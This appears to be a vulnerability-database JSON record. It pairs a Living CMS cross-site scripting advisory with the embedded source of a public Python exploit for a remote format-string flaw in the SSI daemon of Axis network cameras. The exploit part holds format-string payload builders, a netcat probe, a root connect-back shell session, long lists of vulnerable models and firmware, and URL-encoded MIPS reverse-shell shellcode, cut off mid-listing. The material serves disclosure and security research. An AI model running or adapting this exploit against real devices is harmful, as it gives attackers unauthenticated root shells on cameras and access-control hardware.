{"enchantments": {"score": {"value": 4.3, "vector": "NONE"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:40125"]}, {"type": "zdt", "idList": ["1337DAY-ID-25439", "1337DAY-ID-25730", "1337DAY-ID-22597"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:137941"]}, {"type": "seebug", "idList": ["SSV:95357", "SSV:67199", "SSV:66605"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-2788.NASL", "MANDRIVA_MDVA-2010-221.NASL", "MANDRIVA_MDVSA-2010-221.NASL", "MANDRIVA_MDVA-2010-123.NASL", "MANDRIVA_MDVSA-2010-035.NASL", "MANDRIVA_MDVA-2009-123.NASL", "MANDRIVA_MDVA-2009-075.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310831444", "OPENVAS:1361412562310831367", "OPENVAS:1361412562310831346", "OPENVAS:831228"]}, {"type": "threatpost", "idList": ["THREATPOST:9FEEF77D7E8CF48CA04606D5E73B080A"]}], "modified": "2017-03-22T08:11:22"}, "vulnersScore": 4.3}, "published": "2009-03-03T00:00:00", "id": "PT-2009-15", "cvss": {"score": "4.3", "vector": "AV:NONEETWORK/AC:MEDIUM/Au:NONE/C:NONE/IPARTIAL/A:NONE </div>"}, "history": [{"differentElements": ["href"], "edition": 1, "lastseen": "2016-09-26T19:17:37", "bulletin": {"published": "2009-03-03T00:00:00", "href": "http://www.ptsecurity.com/research/threatscape/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "reporter": "Positive Technologies", "history": [], "ptsecurityAffected": ["Living CMS 1.x"], "bulletinFamily": "info", "viewCount": 0, "cvelist": [], "type": "ptsecurity", "hash": "1f6d87aa2c003bc894cf87df93483b0861b0828d40c196e8e3ccde57566da84f", "references": [], "description": "PT-2009-15 Living CMS Cross-Site Scripting Vulnerability\n\nmedium\nSeverity:\nMedium (4.3)\tAV:N/AC:M/Au:N/C:N/I:P/A:N\n\nFix date:\n11.03.2009\n\nVector:\nRemote\n\nSystems affected:\nLiving CMS 1.x\n\nVendor:\n\nNotification status:\n03.03.2009 - Vendor notified\n04.03.2009 - Vendor response\n10.03.2009 - Requested status update from vendor", "title": "Living CMS Cross-Site Scripting Vulnerability", "id": "PT-2009-15", "lastseen": "2016-09-26T19:17:37", "edition": 1, "objectVersion": "1.2", "hashmap": [{"hash": "8387541e2a3cc925de9fd514a8588fce", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "2253e1bab70d602704f10f99bf86337e", "key": "published"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "caf9b6b99962bf5c2264824231d7a40c", "key": "bulletinFamily"}, {"hash": "593efae4be912fe69d80e4ec9a9b28a6", "key": "modified"}, {"hash": "7c7943b93df0ee432cfb38868e647023", "key": "description"}, {"hash": "b1fbbef68be11e07d6cb981fddf15080", "key": "href"}, {"hash": "615e7c0edc6477f08a3e170761453c2b", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "758e8efdd7d0a8cc16b270b9f0b31b69", "key": "title"}, {"hash": "e99869b3dd8438b5ae343e064e0d1682", "key": "reporter"}, {"hash": "6f7f625d8bb9acc9ff7310b59de56c18", "key": "ptsecurityAffected"}], "modified": "2009-03-10T00:00:00"}}, {"differentElements": ["cvss", "description", "href", "ptsecurityAffected"], "edition": 2, "lastseen": "2016-10-25T09:30:06", "bulletin": {"published": "2009-03-03T00:00:00", "href": "https://www.ptsecurity.com/research/threatscape/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "reporter": "Positive Technologies", "history": [], "ptsecurityAffected": ["Living CMS 1.x"], "bulletinFamily": "info", "viewCount": 0, "cvelist": [], "type": "ptsecurity", "hash": "7c082b440bafa63afe00badb639fbbb67281fb79d1090bfd5743382c76905600", "references": [], "description": "PT-2009-15 Living CMS Cross-Site Scripting Vulnerability\n\nmedium\nSeverity:\nMedium (4.3)\tAV:N/AC:M/Au:N/C:N/I:P/A:N\n\nFix date:\n11.03.2009\n\nVector:\nRemote\n\nSystems affected:\nLiving CMS 1.x\n\nVendor:\n\nNotification status:\n03.03.2009 - Vendor notified\n04.03.2009 - Vendor response\n10.03.2009 - Requested status update from vendor", "title": "Living CMS Cross-Site Scripting Vulnerability", "id": "PT-2009-15", "lastseen": "2016-10-25T09:30:06", "edition": 2, "objectVersion": "1.2", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "2253e1bab70d602704f10f99bf86337e", "key": "published"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "3ed50c62b1805706252d797bb65c9478", "key": "href"}, {"hash": "caf9b6b99962bf5c2264824231d7a40c", "key": "bulletinFamily"}, {"hash": "593efae4be912fe69d80e4ec9a9b28a6", "key": "modified"}, {"hash": "7c7943b93df0ee432cfb38868e647023", "key": "description"}, {"hash": "615e7c0edc6477f08a3e170761453c2b", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "758e8efdd7d0a8cc16b270b9f0b31b69", "key": "title"}, {"hash": "e99869b3dd8438b5ae343e064e0d1682", "key": "reporter"}, {"hash": "6f7f625d8bb9acc9ff7310b59de56c18", "key": "ptsecurityAffected"}, {"hash": "f74a1c24e49a5ecb0eefb5e51d4caa14", "key": "cvss"}], "modified": "2009-03-10T00:00:00"}}], "ptsecurityAffected": [], "hash": "76afb5faa6cf2564bc6199b3a61f21aced85aaf588e419ea2481883c85f313f5", "description": "PT-2009-15 Living CMS Cross-Site Scripting Vulnerability\n\nFix date:\n\n March 11, 2009\n \n\nVector:\nRemote\n\nSystems affected:\nLiving CMS 1.x\n\nNotification status:\n03.03.2009 - Vendor notified\n04.03.2009 - Vendor response\n10.03.2009 - Requested status update from vendor", "type": "ptsecurity", "lastseen": "2017-03-22T08:11:22", "edition": 3, "title": "Living CMS Cross-Site Scripting Vulnerability", "href": "https://www.ptsecurity.com/ww-en/analytics/threatscape/", "modified": "2009-03-10T00:00:00", "bulletinFamily": "info", "viewCount": 8, "cvelist": [], "references": [], "reporter": "Positive Technologies", "hashmap": [{"hash": "caf9b6b99962bf5c2264824231d7a40c", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "5cc5516ddbea35d48ce430afe4c27782", "key": "cvss"}, {"hash": "11eda9c6537a0fc9e05382de3142e312", "key": "description"}, {"hash": "515e2c8f8c60eaeb926df96415a9d353", "key": "href"}, {"hash": "593efae4be912fe69d80e4ec9a9b28a6", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "ptsecurityAffected"}, {"hash": "2253e1bab70d602704f10f99bf86337e", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "e99869b3dd8438b5ae343e064e0d1682", "key": "reporter"}, {"hash": "758e8efdd7d0a8cc16b270b9f0b31b69", "key": "title"}, {"hash": "615e7c0edc6477f08a3e170761453c2b", "key": "type"}], "objectVersion": "1.2"}

{"exploitdb": [{"lastseen": "2016-07-20T01:12:18", "bulletinFamily": "exploit", "description": "Axis Communications MPQT/PACS 5.20.x - Server Side Include (SSI) Daemon Remote Format String Exploit. Remote exploit for Multiple platform", "modified": "2016-07-19T00:00:00", "published": "2016-07-19T00:00:00", "id": "EDB-ID:40125", "href": "https://www.exploit-db.com/exploits/40125/", "type": "exploitdb", "title": "Axis Communications MPQT/PACS 5.20.x - Server Side Include (SSI) Daemon Remote Format String Exploit", "sourceData": "#!/usr/bin/env python2.7\r\n# \r\n# [SOF]\r\n#\r\n# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon\r\n# Research and development by bashis <mcw noemail eu> 2016\r\n#\r\n# This format string vulnerability has following characteristic:\r\n# - Heap Based (Exploiting string located on the heap)\r\n# - Blind Attack (No output the remote attacker)(*)\r\n# - Remotly exploitable (As anonymous, no credentials needed)\r\n#\r\n# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.\r\n#\r\n# This exploit has following characteristic:\r\n# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]\r\n# - Modifying LHOST/LPORT in shellcode on the fly\r\n# - Manual exploiting of remote targets\r\n# - Simple HTTPS support\r\n# - Basic Authorization support (not needed for this exploit)\r\n# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode\r\n# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)\r\n# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root\r\n# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)\r\n# - Multiple FMS exploit techniques\r\n# - \"One-Write-Where-And-What\" for MIPS and CRISv32\r\n# Using \"Old Style\" POP's\r\n# Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call\r\n# Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.\r\n# - \"Two-Write-Where-And-What\" for ARM\r\n# 1) \"Old Style\": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address\r\n# 2) \"New Style\": ARM Arch's have both \"Old Style\" (>5.50.x) )POPs and \"New Style\" (<5.40.x) direct parameter access for POP/Write\r\n# [Big differnce in possibilities between \"Old Style\" and \"New Style\", pretty interesting actually]\r\n# - Another way to POP with \"Old Style\", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x)\r\n# - Exploit is quite well documented\r\n#\r\n# Anyhow,\r\n# Everything started from this simple remote request:\r\n#\r\n# ---\r\n# $ echo -en \"GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\\n\\n\" | netcat 192.168.0.90 80\r\n# HTTP/1.1 500 Server Error\r\n# Content-Type: text/html; charset=ISO-8859-1\r\n#\r\n# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>\r\n# <BODY><H1>500 Server Error</H1>\r\n# The server encountered an internal error and could not complete your request.\r\n# </BODY></HTML>\r\n# ---\r\n#\r\n# Which gave this output in /var/log/messages on the remote device:\r\n#\r\n# ---\r\n# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10\r\n# <CRITICAL> Jan 1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.\r\n# ---\r\n#\r\n# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products\r\n#\r\n# ---\r\n# $ netcat -vvlp 31337\r\n# listening on [any] 31337 ...\r\n# 192.168.0.90: inverse host lookup failed: Unknown host\r\n# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738\r\n# id\r\n# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)\r\n# pwd\r\n# /usr/html\r\n# ---\r\n#\r\n# Some technical notes:\r\n#\r\n# 1. Direct addressing with %<argument>$%n is \"delayed\", and comes in force only after disconnect.\r\n# Old metod with POP's coming into force instantly\r\n#\r\n# 2. Argument \"0\" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)\r\n# - Would be interesting to investigate why.\r\n#\r\n# 3. Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26\r\n# Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff\r\n#\r\n# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff\r\n# Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f\r\n#\r\n# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:\r\n# Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)\r\n#\r\n# 4. Everything is randomized, except heap.\r\n#\r\n# 5. My initial attempts to use ROP's was not good, as I didn't want to create\r\n# one unique FMS key by testing each single firmware version, and using ROP with FMS\r\n# on heap seems pretty complicated as there is one jump availible, maximum two.\r\n#\r\n# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.\r\n# \r\n# 6. Encoded and Decoded shellcode located in .bss section.\r\n# 6.1 FMS excecuted on heap\r\n#\r\n# 7. Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM\r\n# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,\r\n# so execute shellcode on heap/stack may be impossible.\r\n# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,\r\n# and re-compile of the image.\r\n# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.\r\n#\r\n# 8. This exploit are pretty well documented, more details can be extracted by reading\r\n# the code and comments.\r\n#\r\n# MIPS ssid maps\r\n# 00400000-0040d000 r-xp 00000000 00:01 2272 /bin/ssid\r\n# 0041d000-0041e000 rw-p 0000d000 00:01 2272 /bin/ssid\r\n# 0041e000-00445000 rwxp 00000000 00:00 0 [heap]\r\n#\r\n# ARM ssid maps\r\n# 00008000-00014000 r-xp 00000000 00:01 2055 /bin/ssid\r\n# 0001c000-0001d000 rw-p 0000c000 00:01 2055 /bin/ssid\r\n# 0001d000-00044000 rw-p 00000000 00:00 0 [heap]\r\n#\r\n# Crisv32 ssid maps\r\n# 00080000-0008c000 r-xp 00000000 1f:03 115 /bin/ssid\r\n# 0008c000-0008e000 rw-p 0000a000 1f:03 115 /bin/ssid\r\n# 0008e000-000b6000 rwxp 0008e000 00:00 0 [heap]\r\n#\r\n# General notes:\r\n#\r\n# When the vul daemon process is exploited, and after popping root connect-back shell,\r\n# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,\r\n# when the main process are fully alive again, I can enjoy the shell, and everybody else can\r\n# enjoy of the camera - that should make all of us happy ;)\r\n# During exploiting, logs says almost nothing, only that the main process restarted.\r\n# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits)\r\n#\r\n# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(),\r\n# after ssid cannot verify the user, free() are the closest function to be called after\r\n# vsyslog(), needed and perfect to use for jumping.\r\n# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console.\r\n# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics.\r\n#\r\n# Quite surprised to see so many different devices and under one major release version,\r\n# that's covered by one \"FMS key\". The \"FMS key\" are valid for all minor versions under the major version.\r\n#\r\n# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor, \r\n# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password. \r\n#\r\n# - No hardcoded login/password that could easily be found in firmware/software files. \r\n# - Extremely hard to find without local access (and find out what to trigger for opening the door)\r\n# - Nobody can not actually prove it is a sophisticated door for sure. \"It's just another bug.. sorry! - here is the fixed version.\"\r\n# (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find)\r\n#\r\n# Note:\r\n# I don't say that Axis Communication has made this hidden format string by this purpose.\r\n# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon, \r\n# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr().\r\n#\r\n# Vulnerable and exploitable products\r\n#\r\n# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006,\r\n# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364,\r\n# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215,\r\n# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384,\r\n# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624,\r\n# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E,\r\n# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT,\r\n# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045,\r\n# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E,\r\n# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203,\r\n# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E,\r\n# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E,\r\n# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C,\r\n# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W,\r\n# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L,\r\n# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more\r\n#\r\n# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt\r\n#\r\n# Firmware versions vulnerable to the SSI FMS exploit\r\n#\r\n# ('V.Vx' == The FMS key used in this exploit)\r\n#\r\n# Firmware\tIntroduced\tCRISv32\t\tMIPS\t\tARM (no exec heap from >5.20.x)\r\n# 5.00.x\t2008\t\t-\t\t-\t\tno\r\n# 5.01.x\t2008\t\tno\t\t-\t\tno\r\n# 5.02.x\t2008\t\tno\t\t-\t\t-\r\n# 5.05.x\t2009\t\tno\t\t-\t\t-\r\n# 5.06.x\t2009\t\tno\t\t-\t\t-\r\n# 5.07.x\t2009\t\tno\t\t-\t\tno\r\n# 5.08.x\t2010\t\tno\t\t-\t\t-\r\n# 5.09.x\t2010\t\tno\t\t-\t\t-\r\n# 5.10.x\t2009\t\tno\t\t-\t\t-\r\n# 5.11.x\t2010\t\tno\t\t-\t\t-\r\n# 5.12.x\t2010\t\tno\t\t-\t\t-\r\n# 5.15.x\t2010\t\tno\t\t-\t\t-\r\n# 5.16.x\t2010\t\tno\t\t-\t\t-\r\n# 5.20.x\t2010-2011\t5.2x\t\t-\t\t5.2x\r\n# 5.21.x\t2011\t\t5.2x\t\t-\t\t5.2x\r\n# 5.22.x\t2011\t\t5.2x\t\t-\t\t-\r\n# 5.25.x\t2011\t\t5.2x\t\t-\t\t-\r\n# 5.40.x\t2011\t\t5.4x\t\t5.4x\t\t5.4x\r\n# 5.41.x\t2012\t\t5.4x\t\t-\t\t-\r\n# 5.50.x\t2013\t\t5.5x\t\t5.5x\t\t5.4x\r\n# 5.51.x\t2013\t\t-\t\t5.4x\t\t-\r\n# 5.55.x\t2013\t\t-\t\t5.5x\t\t5.5x\r\n# 5.60.x\t2014\t\t-\t\t5.6x\t\t5.6x\r\n# 5.65.x\t2014-2015\t-\t\t5.6x\t\t-\r\n# 5.70.x\t2015\t\t-\t\t5.7x\t\t-\r\n# 5.75.x\t2015\t\t-\t\t5.7x\t\t5.7x\r\n# 5.80.x\t2015\t\t-\t\t5.8x\t\t5.8x\r\n# 5.81.x\t2015\t\t-\t\t5.8x\t\t-\r\n# 5.85.x\t2015\t\t-\t\t5.8x\t\t5.8x\r\n# 5.90.x\t2015\t\t-\t\t5.9x\t\t-\r\n# 5.95.x\t2016\t\t-\t\t5.9x\t\t5.8x\r\n# 6.10.x\t2016\t\t-\t\t6.1x\t\t-\r\n# 6.15.x\t2016\t\t-\t\t-\t\t6.1x\r\n# 6.20.x\t2016\t\t-\t\t6.2x\t\t-\r\n#\r\n# Vendor URL's of still supported and affected products\r\n#\r\n# http://www.axis.com/global/en/products/access-control\r\n# http://www.axis.com/global/en/products/video-encoders\r\n# http://www.axis.com/global/en/products/network-cameras\r\n# http://www.axis.com/global/en/products/audio\r\n#\r\n# Axis Product Security\r\n#\r\n# product-security@axis.com\r\n# http://www.axis.com/global/en/support/product-security\r\n# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt\r\n# http://www.axis.com/global/en/support/faq/FAQ116268\r\n#\r\n# Timetable\r\n#\r\n# - Research and Development: 06/01/2016 - 01/06/2016\r\n# - Sent vulnerability details to vendor: 05/06/2016\r\n# - Vendor responce received: 06/06/2016\r\n# - Vendor ACK of findings received: 07/06/2016\r\n# - Vendor sent verification image: 13/06/2016\r\n# - Confirmed that exploit do not work after vendors correction: 13/06/2016\r\n# - Vendor informed about their service release(s): 29/06/2016\r\n# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016\r\n# - Full Disclosure: 18/07/2016\r\n#\r\n# Quote of the day: Never say \"whoops! :o\", always say \"Ah, still interesting! :>\"\r\n#\r\n# Have a nice day\r\n# /bashis\r\n#\r\n#####################################################################################\r\n\r\nimport sys\r\nimport string\r\nimport socket\r\nimport time\r\nimport argparse\r\nimport urllib, urllib2, httplib\r\nimport base64\r\nimport ssl\r\nimport re\r\n\r\n\r\nclass do_FMS:\r\n\r\n#\tPOP = \"%8x\"\t\t# Old style POP's with 8 bytes per POP\r\n\tPOP = \"%1c\"\t\t# Old style POP's with 1 byte per POP\r\n\tWRITElln = \"%lln\"\t# Write 8 bytes\r\n\tWRITEn = \"%n\"\t\t# Write 4 bytes\r\n\tWRITEhn = \"%hn\"\t\t# Write 2 bytes\r\n\tWRITEhhn = \"%hhn\"\t# Write 1 byte\r\n\r\n\tdef __init__(self,targetIP,verbose):\r\n\t\tself.targetIP = targetIP\r\n\t\tself.verbose = verbose\r\n\t\tself.fmscode = \"\"\r\n\r\n\t# Mostly used internally in this function\r\n\tdef Add(self, data):\r\n\t\tself.fmscode += data\r\n\r\n\t# 'New Style' Double word (8 bytes)\r\n\tdef AddDirectParameterLLN(self, ADDR):\r\n\t\tself.Add('%')\r\n\t\tself.Add(str(ADDR))\r\n\t\tself.Add('$lln')\r\n\r\n\t# 'New Style' Word (4 bytes)\r\n\tdef AddDirectParameterN(self, ADDR):\r\n\t\tself.Add('%')\r\n\t\tself.Add(str(ADDR))\r\n\t\tself.Add('$n')\r\n\r\n\t# 'New Style' Half word (2 bytes)\r\n\tdef AddDirectParameterHN(self, ADDR):\r\n\t\tself.Add('%')\r\n\t\tself.Add(str(ADDR))\r\n\t\tself.Add('$hn')\r\n\r\n\t# 'New Style' One Byte (1 byte)\r\n\tdef AddDirectParameterHHN(self, ADDR):\r\n\t\tself.Add('%')\r\n\t\tself.Add(str(ADDR))\r\n\t\tself.Add('$hhn')\r\n\r\n\t# Addressing\r\n\tdef AddADDR(self, ADDR):\r\n\t\tself.Add('%')\r\n\t\tself.Add(str(ADDR))\r\n\t\tself.Add('u')\r\n\r\n\t# 'Old Style' POP\r\n\tdef AddPOP(self, size):\r\n\t\tif size != 0:\r\n\t\t\tself.Add(self.POP * size)\r\n\r\n\t# Normally only one will be sent, multiple is good to quick-check for any FMS\r\n\t#\r\n\t# 'Old Style' Double word (8 bytes)\r\n\tdef AddWRITElln(self, size):\r\n\t\t\tself.Add(self.WRITElln * size)\r\n\r\n\t# 'Old Style' Word (4 bytes)\r\n\tdef AddWRITEn(self, size):\r\n\t\t\tself.Add(self.WRITEn * size)\r\n\r\n\t# 'Old Style' Half word (2 bytes)\r\n\tdef AddWRITEhn(self, size):\r\n\t\t\tself.Add(self.WRITEhn * size)\r\n\r\n\t# 'Old Style' One byte (1 byte)\r\n\tdef AddWRITEhhn(self, size):\r\n\t\t\tself.Add(self.WRITEhhn * size)\r\n\r\n\t# Return the whole FMS string\r\n\tdef FMSbuild(self):\r\n\t\treturn self.fmscode\r\n\r\nclass HTTPconnect:\r\n\r\n\tdef __init__(self, host, proto, verbose, creds, noexploit):\r\n\t\tself.host = host\r\n\t\tself.proto = proto\r\n\t\tself.verbose = verbose\r\n\t\tself.credentials = creds\r\n\t\tself.noexploit = noexploit\r\n\t\r\n\t# Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\\t','$','`' etc..\r\n\tdef RAW(self, uri):\r\n\t\t# Connect-timeout in seconds\r\n\t\ttimeout = 5\r\n\t\tsocket.setdefaulttimeout(timeout)\r\n\t\t\r\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\ts.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n\t\ttmp = self.host.split(':')\r\n\t\tHOST = tmp[0]\r\n\t\tPORT = int(tmp[1])\r\n\t\tif self.verbose:\r\n\t\t\tprint \"[Verbose] Sending to:\", HOST\r\n\t\t\tprint \"[Verbose] Port:\", PORT\r\n\t\t\tprint \"[Verbose] URI:\",uri\r\n\t\ts.connect((HOST, PORT))\r\n\t\ts.send(\"GET %s HTTP/1.0\\r\\n\\r\\n\" % uri)\r\n\t\thtml = (s.recv(4096)) # We really do not care whats coming back\r\n#\t\tif html:\r\n#\t\t\tprint \"[i] Received:\",html\r\n\t\ts.shutdown(3)\r\n\t\ts.close()\r\n\t\treturn html\r\n\r\n\r\n\tdef Send(self, uri):\r\n\r\n\t\t# The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually\r\n\t\t# matter for the functionality of this exploit, only for future references.\r\n\t\theaders = { \r\n\t\t\t'User-Agent' : 'MSIE',\r\n\t\t}\r\n\r\n\t\t# Connect-timeout in seconds\r\n\t\ttimeout = 5\r\n\t\tsocket.setdefaulttimeout(timeout)\r\n\r\n\t\turl = '%s://%s%s' % (self.proto, self.host, uri)\r\n\r\n\t\tif self.verbose:\r\n\t\t\tprint \"[Verbose] Sending:\", url\r\n\r\n\t\tif self.proto == 'https':\r\n\t\t\tif hasattr(ssl, '_create_unverified_context'):\r\n\t\t\t\tprint \"[i] Creating SSL Default Context\"\r\n\t\t\t\tssl._create_default_https_context = ssl._create_unverified_context\r\n\r\n\t\tif self.credentials:\r\n\t\t\tBasic_Auth = self.credentials.split(':')\r\n\t\t\tif self.verbose:\r\n\t\t\t\tprint \"[Verbose] User:\",Basic_Auth[0],\"Password:\",Basic_Auth[1]\r\n\t\t\ttry:\r\n\t\t\t\tpwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()\r\n\t\t\t\tpwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])\r\n\t\t\t\tauth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)\r\n\t\t\t\topener = urllib2.build_opener(auth_handler)\r\n\t\t\t\turllib2.install_opener(opener)\r\n\t\t\texcept Exception as e:\r\n\t\t\t\tprint \"[!] Basic Auth Error:\",e\r\n\t\t\t\tsys.exit(1)\r\n\r\n\t\tif self.noexploit and not self.verbose:\r\n\t\t\tprint \"[<] 204 Not Sending!\"\r\n\t\t\thtml = \"Not sending any data\"\r\n\t\telse:\r\n\t\t\tdata = None\r\n\t\t\treq = urllib2.Request(url, data, headers)\r\n\t\t\trsp = urllib2.urlopen(req)\r\n\t\t\tif rsp:\r\n\t\t\t\tprint \"[<] %s OK\" % rsp.code\r\n\t\t\t\thtml = rsp.read()\r\n\t\treturn html\r\n\r\n\r\nclass shellcode_db:\r\n\r\n\tdef __init__(self,targetIP,verbose):\r\n\t\tself.targetIP = targetIP\r\n\t\tself.verbose = verbose\r\n\r\n\tdef sc(self,target):\r\n\t\tself.target = target\r\n\r\n\r\n# Connect back shellcode\r\n#\r\n# CRISv32: Written by myself, no shellcode availible out on \"The Internet\"\r\n# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators\r\n# MIPSel: Written by Jacob Holcomb (url encoded by me)\r\n# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php\r\n#\r\n\t\t# Slightly modified syscall's\r\n\t\tMIPSel = string.join([\r\n\t\t#close stdin\r\n\t\t\"%ff%ff%04%28\" #slti\ta0,zero,-1\r\n\t\t\"%a6%0f%02%24\" #li\tv0,4006\r\n\t\t\"%4c%f7%f7%03\" #syscall\t0xdfdfd\r\n\t\t#close stdout\r\n\t\t\"%11%11%04%28\" #slti\ta0,zero,4369\r\n\t\t\"%a6%0f%02%24\" #li\tv0,4006\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t#close stderr\r\n\t\t\"%fd%ff%0c%24\" #li\tt4,-3\r\n\t\t\"%27%20%80%01\" #nor\ta0,t4,zero\r\n\t\t\"%a6%0f%02%24\" #li\tv0,4006\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t# socket AF_INET (2)\r\n\t\t\"%fd%ff%0c%24\" #li\tt4,-3\r\n\t\t\"%27%20%80%01\" #nor\ta0,t4,zero\r\n\t\t\"%27%28%80%01\" #nor\ta1,t4,zero\r\n\t\t\"%ff%ff%06%28\" #slti\ta2,zero,-1\r\n\t\t\"%57%10%02%24\" #li\tv0,4183\r\n\t\t\"%4c%f7%f7%03\" #syscall 0xdfdfd\r\n\t\t#\r\n\t\t\"%ff%ff%44%30\" # andi $a0, $v0, 